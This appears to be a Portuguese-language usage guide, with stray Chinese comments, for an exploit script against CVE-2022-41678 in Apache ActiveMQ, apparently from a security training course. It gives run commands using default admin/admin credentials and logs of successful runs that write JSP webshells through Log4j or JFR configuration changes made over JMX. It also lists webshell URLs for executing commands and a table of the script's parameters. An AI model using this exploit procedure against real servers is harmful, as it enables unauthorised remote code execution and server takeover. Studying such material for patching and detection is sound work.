
CVE-2022-41678 é uma vulnerabilidade de execução remota de código no Apache ActiveMQ. A vulnerabilidade permite que um atacante modifique a configuração do Log4j ou a configuração do JFR (Java Flight Recorder) através da interface JMX (Java Management Extensions), escrevendo um webshell JSP malicioso no diretório web do servidor, resultando em execução remota de código.
Documento de referência: https://app.nextcyber.cn/courses/41/tasks/580
CVE-2022-41678 é uma vulnerabilidade de execução remota de código no Apache ActiveMQ. Esta vulnerabilidade permite que um invasor, através da interface JMX (Java Management Extensions), modifique a configuração do Log4j ou do JFR (Java Flight Recorder), escrevendo um webshell JSP malicioso no diretório web do servidor, resultando em execução remota de código.
Esta vulnerabilidade afeta várias versões do Apache ActiveMQ; as versões específicas afetadas dependem do uso das configurações Log4j e JFR.
pip install requests
Usando as credenciais padrão admin/admin e o método de exploração de detecção automática:
python exp.py http://target:8161
Você também pode especificar nome de usuário e senha usando os parâmetros -u e -p:
# 使用 Log4j
python exp.py -u admin -p admin http://10.22.174.214:8161
# 执行结果如下
python exp.py -u admin -p admin http://10.22.174.214:8161
2025-10-14 22:53:54,115 - INFO - choice MBean 'org.apache.logging.log4j2:type=5faeada1' automatically
2025-10-14 22:53:54,334 - INFO - update log config
2025-10-14 22:53:54,467 - INFO - write webshell to http://10.22.174.214:8161/admin/shell.jsp?cmd=id
2025-10-14 22:53:54,655 - INFO - restore log config
Além do método de exploração Log4j padrão, você também pode especificar o uso do método JFR com o parâmetro --exploit jfr.
# 使用 JFR 方式
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161
# 执行结果如下
python exp.py -u admin -p admin --exploit jfr http://10.22.174.214:8161/
2025-10-14 23:16:35,978 - INFO - choice MBean jdk.management.jfr:type=FlightRecorder manually
2025-10-14 23:16:37,390 - INFO - create flight record, id = 1
2025-10-14 23:16:37,533 - INFO - update configuration for record 1
2025-10-14 23:16:38,167 - INFO - start record
2025-10-14 23:16:39,243 - INFO - stop record
2025-10-14 23:16:39,309 - INFO - write webshell to http://10.22.174.214:8161/admin/shelljfr.jsp?cmd=id
Após a exploração bem-sucedida, você pode executar comandos acessando as seguintes URLs:
# Log4j 方式写入的 webshell
http://target:8161/admin/shell.jsp?cmd=命令
# JFR 方式写入的 webshell
http://target:8161/admin/shelljfr.jsp?cmd=命令
Por exemplo, execute o comando id:
http://target:8161/admin/shell.jsp?cmd=id
| Parâmetro | Abreviação | Tipo | Valor Padrão | Descrição |
|---|
--username | -u | string | admin | Nome de usuário do console ActiveMQ |
--password | -p | string | admin | Senha do console ActiveMQ |
--exploit | -e | string | auto | Método de exploração, valores possíveis: auto, log4j, jfr |
url | - | string | - | Endereço URL do ActiveMQ alvo (parâmetro obrigatório) |